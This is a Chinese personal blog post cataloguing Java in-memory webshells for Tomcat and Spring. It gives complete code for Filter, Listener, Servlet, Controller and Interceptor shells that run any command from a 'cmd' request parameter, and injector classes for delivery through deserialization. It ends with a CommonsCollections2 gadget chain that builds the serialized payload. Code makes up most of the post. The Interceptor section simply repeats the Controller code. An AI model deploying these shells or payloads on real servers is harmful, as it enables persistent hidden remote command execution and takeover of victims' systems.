java内存马学习及归类

java内存马初探及整理

servlet-api类

filter型初探

在内存中写入一个恶意filter并与某个url绑定。

整个javaweb的流程 image-20211227231950482

寄出以前b站截的图

至于怎么来的,这篇文章写的很详细了

https://www.anquanke.com/post/id/253386

jsp内存马

<%--
  Created by IntelliJ IDEA.
  User: penson
  Date: 2021/12/28
  Time: 22:06
  To change this template use File | Settings | File Templates.
--%>
<%--
  Created by IntelliJ IDEA.
  User: penson
  Date: 2021/12/27
  Time: 22:52
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "penson";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    String cmd = req.getParameter("cmd");
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                    Process process = new ProcessBuilder(cmds).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

看源码也分析的出来,产生的内存马在重启之后是会消失的,我个人改进了下内存马,会判断操作系统执行对应的命令

image-20211228221201485

Listener型

主要是通过requestInitialized方法将恶意代码放进去

要实现一个 Listener 必须实现 EventListener 接口

Servlet

package com.test.servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

@WebListener()
public class Listen implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd ;
        try{
            if((cmd = sre.getServletRequest().getParameter("cmd"))!=null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                Field request = sre.getServletRequest().getClass().getDeclaredField("request");
                request.setAccessible(true);
                org.apache.catalina.connector.Request response = (org.apache.catalina.connector.Request)request.get(sre.getServletRequest());
                response.getResponse().getOutputStream().write(stringBuilder.toString().getBytes());
                response.getResponse().getOutputStream().flush();
                response.getResponse().getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }
    }
}

其实和Filter型内存马一个意思

Servlet型

这里就涉及servlet的底层原理了,之前期末考试背过这个玩意

Servlet主要有四个接口,而负责接受请求的方法是service方法,所以只需要将恶意代码放进service方法就能实现内存马了

package com.test.servlet;

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/server")
public class Servlet2 implements javax.servlet.Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd ;
        try{
            if((cmd = servletRequest.getParameter("cmd"))!=null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

Spring内存马

之前学过Spring,类似servlet内存马,能插的有Controller,Interceptor两种

Controller型

package com.test.exp;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
public class SpringController {
    @RequestMapping("/penson")
    public void test(HttpServletRequest request, HttpServletResponse response){
        String cmd ;
        try{
            if((cmd = request.getParameter("cmd"))!=null) {
                response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                response.getOutputStream().write(result);
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }

    }
}

Interceptor型

要实现需要继承HandlerInterceptorAdapter 类

里面有几个方法,分别在不同条件下触发,这里选择preHandle()方法

这个方法是在目标方法执行前执行

package com.test.penson.interceptors;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;

public class interceptors extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd ;
        try{
            if((cmd = request.getParameter("cmd"))!=null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }
        return true;
    }
}

拦截器注册

package com.test.penson.configs;

import com.test.penson.interceptors.interceptors;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class interceptorsConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new interceptors());
    }
}

这里放上以前学的拦截器配置

image-20220112222817848

结合反序列化

Filter型

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.naming.Context;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Scanner;

public class Filterinject extends AbstractTranslet implements Filter {
    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "evilFilter";

    static {
        try {

            Class c = Class.forName("org.apache.catalina.core.StandardContext");

            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext.getServletContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(filterName) == null){
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                Filter MemShell = new Filterinject();

                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter(filterName, MemShell);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{filterUrlPattern});

                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null){
                    Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                            .getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }


                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }

                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

Listener型

之前在找的时候主要没有response,无法将命令回显出来,后来在这篇文章找到了获取response的方法

https://www.cnblogs.com/zpchcbd/p/15154256.html

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

public class Listenerinject extends AbstractTranslet implements ServletRequestListener {
    private final String cmdParamName = "cmd";
    static {
        try {
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext1 = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext1.getServletContext();
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

            Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            standardContextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

            Object[] objects = standardContext.getApplicationEventListeners();
            List<Object> listeners = Arrays.asList(objects);
            List<Object> arrayList = new ArrayList(listeners);
            arrayList.add(new Listenerinject());
            standardContext.setApplicationEventListeners(arrayList.toArray());
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd ;
        try{
            if((cmd = sre.getServletRequest().getParameter(cmdParamName))!=null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                Field request = sre.getServletRequest().getClass().getDeclaredField("request");
                request.setAccessible(true);
                org.apache.catalina.connector.Request response = (org.apache.catalina.connector.Request)request.get(sre.getServletRequest());
                response.getResponse().getOutputStream().write(stringBuilder.toString().getBytes());
                response.getResponse().getOutputStream().flush();
                response.getResponse().getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Servlet型

Servlet的产生和插入参考: https://blog.csdn.net/angry_program/article/details/118492214

其实这三个内存马都用到了StandardContext来进行插入

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;

public class Servletinject extends AbstractTranslet implements Servlet {
    private final String cmdParamName = "cmd";
    static {
        try {
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext1 = (StandardContext) webappClassLoaderBase.getResources().getContext();
            //利用wrapper来创建
            Wrapper wrapper = standardContext1.createWrapper();
            Servletinject servletinject = new Servletinject();
            String name=servletinject.getClass().getSimpleName();
            wrapper.setName(name);
            wrapper.setLoadOnStartup(1);

            wrapper.setServlet(servletinject);
            wrapper.setServletClass(name);

            //url绑定
            standardContext1.addChild(wrapper);
            standardContext1.addServletMappingDecoded("/penson",name);


        }catch (Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd ;
        try{
            if((cmd = servletRequest.getParameter(cmdParamName))!=null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
            }}catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Controller型

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class SpringinjectController extends AbstractTranslet {

    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            // 可选步骤,判断url是否存在
            AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
            Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
            method.setAccessible(true);
            Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
            Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
            field.setAccessible(true);
            Map urlLookup = (Map) field.get(mappingRegistry);
            Iterator urlIterator = urlLookup.keySet().iterator();
            List<String> urls = new ArrayList();
            while (urlIterator.hasNext()){
                String urlPath = (String) urlIterator.next();
                if ("/malicious".equals(urlPath)){
                    System.out.println("url已存在");
                }
            }
            // 可选步骤,判断url是否存在
            // 2. 通过反射获得自定义 controller 中test的 Method 对象
            Method method2 = SpringinjectController.class.getMethod("huixian");
            // 3. 定义访问 controller 的 URL 地址
            PatternsRequestCondition url = new PatternsRequestCondition("/pensontest");
            // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 5. 在内存中动态注册 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            SpringinjectController injectToController = new SpringinjectController();
            mappingHandlerMapping.registerMapping(info, injectToController, method2);
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public void huixian() {
        String cmd;
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        try {
            if ((cmd = request.getParameter("cmd")) != null) {
                response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                response.getOutputStream().write(result);
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Interceptor型

接着只需要根据debug调一调就能知道拦截器是怎么产生的了,其他文章也有,不细说了

参考: https://i.hacking8.com/page/22118

  • 首先获取应用的上下文环境,也就是ApplicationContext
  • 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
  • 反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  • 通过 adaptedInterceptors注册拦截器

确实和tomcat内存马很类似

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class SpringinjectController extends AbstractTranslet {

    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            // 可选步骤,判断url是否存在
            AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
            Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
            method.setAccessible(true);
            Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
            Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
            field.setAccessible(true);
            Map urlLookup = (Map) field.get(mappingRegistry);
            Iterator urlIterator = urlLookup.keySet().iterator();
            List<String> urls = new ArrayList();
            while (urlIterator.hasNext()){
                String urlPath = (String) urlIterator.next();
                if ("/malicious".equals(urlPath)){
                    System.out.println("url已存在");
                }
            }
            // 可选步骤,判断url是否存在
            // 2. 通过反射获得自定义 controller 中test的 Method 对象
            Method method2 = SpringinjectController.class.getMethod("huixian");
            // 3. 定义访问 controller 的 URL 地址
            PatternsRequestCondition url = new PatternsRequestCondition("/pensontest");
            // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 5. 在内存中动态注册 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
            SpringinjectController injectToController = new SpringinjectController();
            mappingHandlerMapping.registerMapping(info, injectToController, method2);
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public void huixian() {
        String cmd;
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        try {
            if ((cmd = request.getParameter("cmd")) != null) {
                response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                response.getOutputStream().write(result);
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc2

package com.test.exp;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.test.exp.Filterecho;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import sun.misc.BASE64Encoder;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

import static java.util.Base64.getDecoder;

public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Filterinject.class.getName());
        return clazz.toBytecode();
    }

    public  static byte[] getPayload(byte[] clazzBytes) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        Base64.Encoder encoder = Base64.getEncoder();
        String encode = encoder.encodeToString(barr.toByteArray());
        System.out.println(encode);
        Base64.Decoder decoder = getDecoder();
        byte[] bytes = decoder.decode(encode);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
//        Object o = (Object)ois.readObject();
        return bytes;
    }

    public static void main(String[] args) throws Exception {
        byte[] bytescode = getBytescode();
        getPayload(bytescode);
    }
}

参考:

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&scene=21#wechat_redirect

http://wjlshare.com/archives/1529

https://www.anquanke.com/post/id/253386

https://www.cnblogs.com/nice0e3/p/14891711.html#0x03-%E5%86%85%E5%AD%98%E9%A9%AC%E6%9E%84%E9%80%A0


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年